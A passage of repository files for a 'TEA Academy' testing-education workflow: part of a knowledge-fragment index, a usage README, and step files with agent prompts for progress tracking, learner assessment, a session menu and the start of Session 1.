github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/file-utils.md"
description: "CSV/XLSX/PDF/ZIP validation"
- name: "burn-in"
path: "/src/testarch/knowledge/burn-in.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/burn-in.md"
description: "Smart test selection via git diff"
- name: "network-error-monitor"
path: "/src/testarch/knowledge/network-error-monitor.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/network-error-monitor.md"
description: "HTTP 4xx/5xx detection"
- name: "contract-testing"
path: "/src/testarch/knowledge/contract-testing.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/contract-testing.md"
description: "Pact publishing and provider verification"
- name: "visual-debugging"
path: "/src/testarch/knowledge/visual-debugging.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/visual-debugging.md"
description: "Trace viewer workflows and debugging artifacts"
configuration_governance:
- name: "playwright-config"
path: "/src/testarch/knowledge/playwright-config.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/playwright-config.md"
description: "Environment and timeout guardrails"
- name: "ci-burn-in"
path: "/src/testarch/knowledge/ci-burn-in.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/ci-burn-in.md"
description: "CI orchestration and smart selection"
- name: "selective-testing"
path: "/src/testarch/knowledge/selective-testing.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/selective-testing.md"
description: "Tag and grep filters"
- name: "feature-flags"
path: "/src/testarch/knowledge/feature-flags.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/feature-flags.md"
description: "Feature flag governance and cleanup"
- name: "risk-governance"
path: "/src/testarch/knowledge/risk-governance.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/risk-governance.md"
description: "Risk scoring matrix and gate rules"
- name: "adr-quality-readiness-checklist"
path: "/src/testarch/knowledge/adr-quality-readiness-checklist.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/adr-quality-readiness-checklist.md"
description: "Quality readiness checklist for decisions and reviews"
quality_frameworks:
- name: "test-quality"
path: "/src/testarch/knowledge/test-quality.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/test-quality.md"
description: "Definition of Done execution limits"
- name: "test-levels-framework"
path: "/src/testarch/knowledge/test-levels-framework.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/test-levels-framework.md"
description: "Unit/Integration/E2E selection criteria"
- name: "test-priorities-matrix"
path: "/src/testarch/knowledge/test-priorities-matrix.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/test-priorities-matrix.md"
description: "P0-P3 coverage targets"
- name: "probability-impact"
path: "/src/testarch/knowledge/probability-impact.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/probability-impact.md"
description: "Probability × impact scoring definitions"
- name: "nfr-criteria"
path: "/src/testarch/knowledge/nfr-criteria.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/nfr-criteria.md"
description: "Non-functional requirements assessment"
auth_security:
- name: "email-auth"
path: "/src/testarch/knowledge/email-auth.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/email-auth.md"
description: "Magic link extraction and auth state"
- name: "auth-session"
path: "/src/testarch/knowledge/auth-session.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/auth-session.md"
description: "Token persistence and multi-user auth"
- name: "error-handling"
path: "/src/testarch/knowledge/error-handling.md"
github: "https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/blob/main/src/testarch/knowledge/error-handling.md"
description: "Exception handling and retry validation"
# Quick Reference Maps
session_to_resources:
session-01:
primary_docs: ["tea-lite-quickstart", "tea-overview", "run-automate"]
fragments: []
session-02:
primary_docs: ["testing-as-engineering", "risk-based-testing", "test-quality-standards"]
fragments: ["test-quality", "probability-impact"]
session-03:
primary_docs: ["fixture-architecture", "network-first-patterns", "step-file-architecture"]
fragments: ["fixture-architecture", "network-first", "data-factories"]
session-04:
primary_docs: ["run-test-design"]
fragments: ["test-levels-framework", "test-priorities-matrix"]
session-05:
primary_docs: ["run-atdd", "run-automate"]
fragments: ["component-tdd", "api-testing-patterns", "api-request"]
session-06:
primary_docs: ["run-test-review", "run-trace"]
fragments: []
session-07:
primary_docs: []
fragments: [] # All 35 fragments available via menu-driven exploration
# Web-Browsing Fallback Strategy
fallback_urls:
playwright_docs: "https://playwright.dev/docs/intro"
jest_docs: "https://jestjs.io/docs/getting-started"
cypress_docs: "https://docs.cypress.io/guides/overview/why-cypress"
vitest_docs: "https://vitest.dev/guide/"
testing_library: "https://testing-library.com/docs/"

View File

@@ -0,0 +1,130 @@
# Teach Me Testing - Usage Instructions
## Overview
The Teach Me Testing workflow is a multi-session learning companion that teaches testing progressively through 7 structured sessions with state persistence. Designed for self-paced learning over 1-2 weeks.
## Who Should Use This
- **New QA Engineers:** Complete onboarding in testing fundamentals
- **Developers:** Learn testing from an integration perspective
- **Team Leads:** Understand architecture patterns and team practices
- **VPs/Managers:** Grasp testing strategy and quality metrics
## How to Run
### Starting Fresh
```bash
# From TEA module location
cd /path/to/bmad-method-test-architecture-enterprise
# Run the workflow
bmad run teach-me-testing
```
Or invoke through TEA agent menu:
```bash
bmad agent tea
# Select [TMT] Teach Me Testing
```
### Continuing Existing Progress
The workflow automatically detects existing progress and resumes where you left off. Your progress is saved at:
- `{test_artifacts}/teaching-progress/{your-name}-tea-progress.yaml`
## Workflow Structure
### 7 Sessions
1. **Quick Start (30 min)** - TEA Lite intro, run automate workflow
2. **Core Concepts (45 min)** - Risk-based testing, DoD, philosophy
3. **Architecture (60 min)** - Fixtures, network patterns, framework
4. **Test Design (60 min)** - Risk assessment workflow
5. **ATDD & Automate (60 min)** - ATDD + Automate workflows
6. **Quality & Trace (45 min)** - Test review + Trace workflows
7. **Advanced Patterns (ongoing)** - Menu-driven knowledge fragment exploration
### Non-Linear Learning
- Jump to any session based on your experience level
- Beginners: Start at Session 1
- Intermediate: Skip to Session 3-6
- Experienced: Jump to Session 7 (Advanced)
### Session Flow
Each session follows this pattern:
1. Load relevant TEA docs just-in-time
2. Present teaching content (mostly autonomous)
3. Knowledge validation quiz (interactive)
4. Generate session notes artifact
5. Update progress file
6. Return to session menu (continue or exit)
## Progress Tracking
Your progress is automatically saved after each session:
- **Progress file:** `{test_artifacts}/teaching-progress/{your-name}-tea-progress.yaml`
- **Session notes:** `{test_artifacts}/tea-academy/{your-name}/session-{N}-notes.md`
- **Certificate:** `{test_artifacts}/tea-academy/{your-name}/tea-completion-certificate.md`
## Quiz Scoring
- **Passing threshold:** ≥70%
- **On failure:** Option to review content or continue anyway
- **Attempts:** 3 attempts per question before showing correct answer
## Completion
Complete all 7 sessions to receive your TEA Academy completion certificate with:
- Session completion dates and scores
- Skills acquired checklist
- Learning artifacts paths
- Recommended next steps
## Tips for Success
1. **Set aside dedicated time** - Each session requires focus (30-90 min)
2. **Take notes** - Session notes are generated, but add your own insights
3. **Apply immediately** - Practice concepts on your current project
4. **Explore fragments** - Session 7 has 35 knowledge fragments to deep-dive
5. **Share with team** - Help others learn by sharing your experience
## Customization by Role
The workflow adapts examples based on your role:
- **QA:** Practical testing focus, workflow usage
- **Dev:** Integration perspective, TDD approach
- **Lead:** Architecture decisions, team patterns
- **VP:** Strategy, ROI, quality metrics
## Troubleshooting
### Progress file corrupted
- Workflow detects corruption and offers fresh start
- Backup file created automatically
### Missing TEA docs
- Workflow uses Web-Browsing fallback for external frameworks
- Primary source is always local docs
### Session interrupted
- Progress auto-saved after quiz completion
- Resume from session menu on next run
## Support
- **Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/>
- **Knowledge Fragments:** <https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge>
- **Issues:** Report via TEA module repository

View File

@@ -0,0 +1,235 @@
---
name: 'step-01-init'
description: 'Initialize TEA Academy - check for existing progress and route to continuation or new assessment'
nextStepFile: './step-02-assess.md'
continueFile: './step-01b-continue.md'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
progressTemplate: '../templates/progress-template.yaml'
---
# Step 1: Initialize TEA Academy
## STEP GOAL:
To welcome the learner, check for existing progress from previous sessions, and route to either continuation (if progress exists) or new assessment (if starting fresh).
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on initialization and routing
- 🚫 FORBIDDEN to start teaching yet - that comes in session steps
- 💬 Approach: Check for progress, route appropriately
- 🚪 This is the entry point - sets up everything that follows
## EXECUTION PROTOCOLS:
- 🎯 Check for existing progress file
- 💾 Create initial progress if new learner
- 📖 Route to continuation or assessment based on progress
- 🚫 FORBIDDEN to skip continuation check - critical for multi-session learning
## CONTEXT BOUNDARIES:
- Available context: User name, test artifacts path, templates
- Focus: Detect continuation vs new start
- Limits: No teaching yet, no assessment yet
- Dependencies: None - this is the first step
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Welcome Message
Display:
"🧪 **Welcome to TEA Academy - Test Architecture Enterprise Learning**
A multi-session learning companion that teaches testing progressively through 7 structured sessions.
Let me check if you've started this journey before..."
### 2. Check for Existing Progress
Check if {progressFile} exists.
**How to check:**
- Attempt to read {progressFile}
- If file exists and is readable → Progress found
- If file not found or error → No progress (new learner)
### 3. Route Based on Progress
**IF progress file EXISTS:**
Display:
"✅ **Welcome back!** I found your existing progress.
Let me load where you left off..."
**THEN:** Immediately load, read entire file, then execute {continueFile}
---
**IF progress file DOES NOT EXIST:**
Display:
"📝 **Starting fresh!** I'll create your progress tracking file.
You can pause and resume anytime - your progress will be saved automatically after each session."
**THEN:** Proceed to step 4
### 4. Create Initial Progress File (New Learner Only)
Load {progressTemplate} and create {progressFile} with:
```yaml
---
# TEA Academy Progress Tracking
user: { user_name }
role: null # Will be set in assessment
experience_level: null # Will be set in assessment
learning_goals: null # Will be set in assessment
pain_points: null # Optional, set in assessment
started_date: { current_date }
last_session_date: { current_date }
sessions:
- id: session-01-quickstart
name: 'Quick Start'
duration: '30 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-02-concepts
name: 'Core Concepts'
duration: '45 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-03-architecture
name: 'Architecture & Patterns'
duration: '60 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-04-test-design
name: 'Test Design'
duration: '60 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-05-atdd-automate
name: 'ATDD & Automate'
duration: '60 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-06-quality-trace
name: 'Quality & Trace'
duration: '45 min'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-07-advanced
name: 'Advanced Patterns'
duration: 'ongoing'
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
sessions_completed: 0
total_sessions: 7
completion_percentage: 0
next_recommended: session-01-quickstart
stepsCompleted: ['step-01-init']
lastStep: 'step-01-init'
lastContinued: { current_date }
certificate_generated: false
certificate_path: null
completion_date: null
---
```
### 5. Proceed to Assessment (New Learner Only)
Display:
"✅ **Progress file created!**
Now let's learn about you - your role, experience level, and learning goals.
This helps me customize examples and recommendations for you.
**Proceeding to assessment...**"
**THEN:** Immediately load, read entire file, then execute {nextStepFile}
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Progress file check performed correctly
- Existing learners routed to continuation (step-01b)
- New learners get progress file created
- Progress file has complete schema with all 7 sessions
- New learners routed to assessment (step-02)
- stepsCompleted array initialized
### ❌ SYSTEM FAILURE:
- Skipping progress file check
- Not routing to continuation for existing learners
- Creating duplicate progress files
- Progress file missing required fields
- Not updating stepsCompleted array
- Asking user questions before checking progress
**Master Rule:** This is an auto-proceed initialization step. Check progress, route appropriately, no user menu needed.

View File

@@ -0,0 +1,147 @@
---
name: 'step-01b-continue'
description: 'Resume TEA Academy learning - load progress and display dashboard'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
nextStepFile: './step-03-session-menu.md'
---
# Step 1b: Continue TEA Academy
## STEP GOAL:
To resume the TEA Academy workflow from a previous session by loading progress, displaying a dashboard, and routing to the session menu.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate _new instructional content_ without user input (auto-proceed steps may display status/route)
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on loading progress and routing to session menu
- 🚫 FORBIDDEN to start teaching - that happens in session steps
- 💬 Approach: Load progress, show dashboard, route to menu
- 🚪 This is the continuation entry point - seamless resume
## EXECUTION PROTOCOLS:
- 🎯 Load progress file completely
- 💾 Update lastContinued timestamp
- 📖 Display progress dashboard with completion status
- 🚫 FORBIDDEN to skip dashboard - learners need to see progress
- ⏭️ Auto-route to session menu after dashboard
## CONTEXT BOUNDARIES:
- Available context: Progress file with all session data
- Focus: Display progress, route to menu
- Limits: No teaching, no session execution
- Dependencies: Progress file must exist (checked in step-01-init)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Load Progress File
Read {progressFile} completely and extract:
- user
- role
- experience_level
- started_date
- sessions array (all 7 sessions with status, scores)
- sessions_completed
- completion_percentage
- next_recommended
### 2. Update Last Continued Timestamp
Update {progressFile} frontmatter:
- Set `lastContinued: {current_date}`
- Keep all other fields unchanged
### 3. Display Progress Dashboard
Display:
"🧪 **Welcome back to TEA Academy, {user}!**
**Your Role:** {role}
**Experience Level:** {experience_level}
**Started:** {started_date}
**Progress:** {completion_percentage}% ({sessions_completed} of 7 sessions completed)
---
### 📊 Session Progress
{Display each session with completion indicator}
{For each session in sessions array:}
{If status == 'completed':}
**Session {N}:** {name} - Completed {completed_date} (Score: {score}/100)
{If status == 'in-progress':}
🔄 **Session {N}:** {name} - In Progress (Started {started_date})
{If status == 'not-started':}
**Session {N}:** {name} - Not Started
---
### 🎯 Next Recommended
{next_recommended}
---
**Let's continue your learning journey!**
Loading session menu..."
### 4. Route to Session Menu
Display:
"**Proceeding to session menu...**"
**THEN:** Immediately load, read entire file, then execute {nextStepFile}
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Progress file loaded correctly
- lastContinued timestamp updated
- Dashboard displayed with accurate completion status
- Session indicators correct (✅ completed, 🔄 in-progress, ⬜ not-started)
- Completion percentage calculated correctly
- Next recommended session identified
- Auto-routed to session menu (step-03)
### ❌ SYSTEM FAILURE:
- Not loading progress file
- Dashboard missing or incomplete
- Incorrect completion indicators
- Not updating lastContinued timestamp
- Asking user for input instead of auto-routing
- Not routing to session menu
**Master Rule:** This is an auto-proceed continuation step. Load progress, show dashboard, route to session menu - no user menu needed.

View File

@@ -0,0 +1,258 @@
---
name: 'step-02-assess'
description: 'Gather learner role, experience level, learning goals, and pain points to customize teaching'
nextStepFile: './step-03-session-menu.md'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
---
# Step 2: Learner Assessment
## STEP GOAL:
To gather the learner's role, experience level, learning goals, and pain points to customize teaching examples and recommendations throughout the curriculum.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate _new instructional content_ without user input (auto-proceed steps may display status/route)
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step (auto-proceed), ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on gathering assessment data
- 🚫 FORBIDDEN to start teaching yet - that comes in session steps
- 💬 Approach: Ask clear questions, validate responses, explain why we're asking
- 🚪 This assessment customizes the entire learning experience
## EXECUTION PROTOCOLS:
- 🎯 Ask questions one at a time
- 💾 Validate each response before moving forward
- 📖 Update progress file with complete assessment data
- 🚫 FORBIDDEN to skip validation - ensures data quality
## CONTEXT BOUNDARIES:
- Available context: Progress file created in step-01
- Focus: Gather role, experience, goals, pain points
- Limits: No teaching yet, no session execution
- Dependencies: Progress file exists (created in step-01-init)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Welcome and Explain Assessment
Display:
"📋 **Learner Assessment**
Before we begin, let me learn about you. This helps me:
- Choose relevant examples for your role
- Adjust complexity to your experience level
- Focus on your specific learning goals
- Address your pain points
This will take just 2-3 minutes."
### 2. Gather Role
Ask:
"**What is your role?**
Please select one:
- **QA** - QA Engineer / Test Engineer / SDET
- **Dev** - Software Developer / Engineer
- **Lead** - Tech Lead / Engineering Manager
- **VP** - VP Engineering / Director / Executive
Your role helps me tailor examples to your perspective."
**Wait for response.**
**Validate response:**
- Must be one of: QA, Dev, Lead, VP (case-insensitive)
- If invalid: "Please select one of the four options: QA, Dev, Lead, or VP"
- Repeat until valid
**Store validated role for later update to progress file.**
### 3. Gather Experience Level
Ask:
"**What is your experience level with testing?**
Please select one:
- **Beginner** - New to testing, learning fundamentals
- **Intermediate** - Have written tests, want to improve
- **Experienced** - Strong testing background, want advanced techniques
Your experience level helps me adjust complexity and skip topics you already know."
**Wait for response.**
**Validate response:**
- Must be one of: Beginner, Intermediate, Experienced (case-insensitive)
- If invalid: "Please select one of the three levels: Beginner, Intermediate, or Experienced"
- Repeat until valid
**Store validated experience_level for later update to progress file.**
### 4. Gather Learning Goals
Ask:
"**What are your learning goals?**
Tell me what you want to achieve with TEA Academy. For example:
- Learn testing fundamentals from scratch
- Understand TEA methodology and workflows
- Improve test quality and reduce flakiness
- Master advanced patterns (fixtures, network-first, etc.)
- Prepare for QA onboarding at my company
**Your answer helps me recommend which sessions to focus on.**"
**Wait for response.**
**Validate response:**
- Must not be empty
- Should be at least 10 characters
- If too short: "Please provide more detail about your learning goals (at least a sentence)"
- Repeat until valid
**Store learning_goals for later update to progress file.**
### 5. Gather Pain Points (Optional)
Ask:
"**What are your current pain points with testing?** _(Optional)_
For example:
- Flaky tests that fail randomly
- Slow test suites
- Hard to maintain tests
- Don't know where to start
- Team doesn't value testing
**This helps me provide targeted examples. You can skip this by typing 'skip' or 'none'.**"
**Wait for response.**
**Handle response:**
- If response is "skip", "none", or similar → Set pain_points to null
- If response is provided → Store pain_points for later update
- No validation needed (optional field)
### 6. Summarize Assessment
Display:
"✅ **Assessment Complete!**
Here's what I learned about you:
**Role:** {role}
**Experience Level:** {experience_level}
**Learning Goals:** {learning_goals}
**Pain Points:** {pain_points or 'None specified'}
I'll use this to customize examples and recommendations throughout your learning journey."
### 7. Update Progress File
Load {progressFile} and update the following fields:
- `role: {role}`
- `experience_level: {experience_level}`
- `learning_goals: {learning_goals}`
- `pain_points: {pain_points}` (or null if not provided)
Update stepsCompleted array:
- Append 'step-02-assess' to stepsCompleted array
- Update lastStep: 'step-02-assess'
**Save the updated progress file.**
### 8. Provide Next Steps Preview
Display:
"**Next:** You'll see the session menu where you can choose from 7 learning sessions.
**Based on your experience level:**
{If beginner:}
- I recommend starting with Session 1 (Quick Start)
- It introduces TEA with a hands-on example
{If intermediate:}
- You might want to skip to Session 3 (Architecture)
- Or review Session 2 (Core Concepts) first if you want fundamentals
{If experienced:}
- Feel free to jump to Session 7 (Advanced Patterns)
- Or pick specific sessions based on your goals
You can take sessions in any order and pause anytime!"
### 9. Proceed to Session Menu
After the assessment summary, proceed directly to the session menu:
- Load, read entire file, then execute {nextStepFile}
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- All required fields gathered (role, experience_level, learning_goals)
- Optional pain_points handled correctly
- All responses validated before proceeding
- Progress file updated with assessment data
- stepsCompleted array updated with 'step-02-assess'
- Experience-based recommendations provided
- User routed to session menu (step-03)
### ❌ SYSTEM FAILURE:
- Skipping validation of required fields
- Not updating progress file
- Not adding to stepsCompleted array
- Proceeding without waiting for user responses
- Not providing experience-based recommendations
- Hardcoding responses instead of asking user
**Master Rule:** Assessment must be complete and validated before proceeding to session menu.

View File

@@ -0,0 +1,219 @@
---
name: 'step-03-session-menu'
description: 'Session selection hub - display all 7 sessions with completion status and route to selected session or completion'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
session01File: './step-04-session-01.md'
session02File: './step-04-session-02.md'
session03File: './step-04-session-03.md'
session04File: './step-04-session-04.md'
session05File: './step-04-session-05.md'
session06File: './step-04-session-06.md'
session07File: './step-04-session-07.md'
completionFile: './step-05-completion.md'
---
# Step 3: Session Menu (Hub)
## STEP GOAL:
To present all 7 learning sessions with completion status, allow non-linear session selection, and route to chosen session or completion. This is the central hub - all sessions return here.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on displaying sessions and routing
- 🚫 FORBIDDEN to start teaching - that happens in session steps
- 💬 Approach: Show progress, let learner choose their path
- 🚪 This is the HUB - all sessions loop back here
## EXECUTION PROTOCOLS:
- 🎯 Load progress file to get session completion status
- 💾 Display sessions with accurate indicators
- 📖 Route to selected session or completion
- 🚫 FORBIDDEN to skip progress check - status indicators critical
- ⏭️ No stepsCompleted update (this is a routing hub, not a content step)
## CONTEXT BOUNDARIES:
- Available context: Progress file with all session data
- Focus: Display menu, route to selection
- Limits: No teaching, no session execution
- Dependencies: Progress file exists (created in step-01, updated in step-02)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Load Progress File
Read {progressFile} and extract:
- user
- role
- experience_level
- sessions array (all 7 sessions with status, scores, dates)
- sessions_completed
- completion_percentage
- next_recommended
### 2. Display Session Menu with Status
Display:
"🧪 **TEA Academy - Session Menu**
**Progress:** {completion_percentage}% ({sessions_completed} of 7 sessions completed)
---
### 📚 Available Sessions
{For each session in sessions array, display with status indicator:}
**Session 1: Quick Start (30 min)**
{status_indicator} TEA Lite intro, run automate workflow
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 2: Core Concepts (45 min)**
{status_indicator} Risk-based testing, DoD, testing philosophy
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 3: Architecture & Patterns (60 min)**
{status_indicator} Fixtures, network patterns, framework setup
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 4: Test Design (60 min)**
{status_indicator} Risk assessment, test design workflow
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 5: ATDD & Automate (60 min)**
{status_indicator} ATDD + Automate workflows, TDD approach
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 6: Quality & Trace (45 min)**
{status_indicator} Test review + Trace workflows, quality metrics
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
**Session 7: Advanced Patterns (ongoing)**
{status_indicator} Menu-driven knowledge fragment exploration (35 fragments)
{if completed: Score: {score}/100 | Completed: {completed_date}}
{if in-progress: Started: {started_date}}
---
**Status Indicators:**
- ✅ = Completed
- 🔄 = In Progress
- ⬜ = Not Started
---
{If next_recommended exists:}
💡 **Recommended Next:** {next_recommended}
"
### 3. Check for Completion
**Before displaying menu options, check:**
If all 7 sessions have status 'completed' AND certificate_generated != true:
- Display: "🎉 **Congratulations!** You've completed all 7 sessions!"
- Skip session menu options
- Proceed directly to step 4b (route to completion)
**Otherwise:** Display session menu options in step 4a
### 4a. Present Session Menu Options (Sessions Remaining)
Display:
"**Select a session or exit:**
**[1-7]** Start or continue a session
**[X]** Save progress and exit
What would you like to do?"
#### EXECUTION RULES:
- ALWAYS halt and wait for user input after presenting menu
- Route based on user selection
- User can ask questions - always respond and redisplay menu
#### Menu Handling Logic:
- IF 1: Load, read entire file, then execute {session01File}
- IF 2: Load, read entire file, then execute {session02File}
- IF 3: Load, read entire file, then execute {session03File}
- IF 4: Load, read entire file, then execute {session04File}
- IF 5: Load, read entire file, then execute {session05File}
- IF 6: Load, read entire file, then execute {session06File}
- IF 7: Load, read entire file, then execute {session07File}
- IF X: Display "Progress saved. See you next time! 👋" and END workflow
- IF Any other: "Please select a session number (1-7) or X to exit", then [Redisplay Menu Options](#4a-present-session-menu-options-sessions-remaining)
### 4b. Route to Completion (All Sessions Done)
**If all 7 sessions completed:**
Display:
"**Proceeding to generate your completion certificate...**"
Load, read entire file, then execute {completionFile}
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Progress file loaded correctly
- All 7 sessions displayed with accurate status indicators
- Completion percentage calculated correctly
- Session status matches progress file (✅ completed, 🔄 in-progress, ⬜ not-started)
- User selection validated (1-7 or X)
- Correct routing to selected session file
- Completion detected when all 7 done
- Exit option saves and ends workflow cleanly
- No stepsCompleted update (this is routing hub, not content step)
### ❌ SYSTEM FAILURE:
- Not loading progress file
- Wrong status indicators
- Incorrect completion percentage
- Not detecting when all sessions complete
- Routing to wrong session file
- Updating stepsCompleted (hub should not update this)
- Not displaying session descriptions
- Not allowing non-linear session selection
**Master Rule:** This is the central hub. Display accurate status, let learner choose freely, route correctly. All sessions return here.

View File

@@ -0,0 +1,460 @@
---
name: 'step-04-session-01'
description: 'Session 1: Quick Start - TEA Lite intro, run automate workflow (30 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-01-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 1 - Quick Start
## STEP GOAL:
To provide immediate value through a 30-minute introduction to TEA Lite, run the automate workflow as a hands-on example, validate understanding through a quiz, and generate session notes.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate _unsolicited_ content without user input (session flow content is allowed once session begins)
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on Session 1 content (Quick Start)
- 🚫 FORBIDDEN to skip ahead to other sessions
- 💬 Approach: Teach concepts, provide examples, quiz understanding
- 🚪 Teaching is mostly autonomous, quiz is collaborative
- 📚 Reference TEA docs and provide URLs for further reading
## EXECUTION PROTOCOLS:
- 🎯 Load TEA docs just-in-time (not all at once)
- 💾 Generate session notes after completion
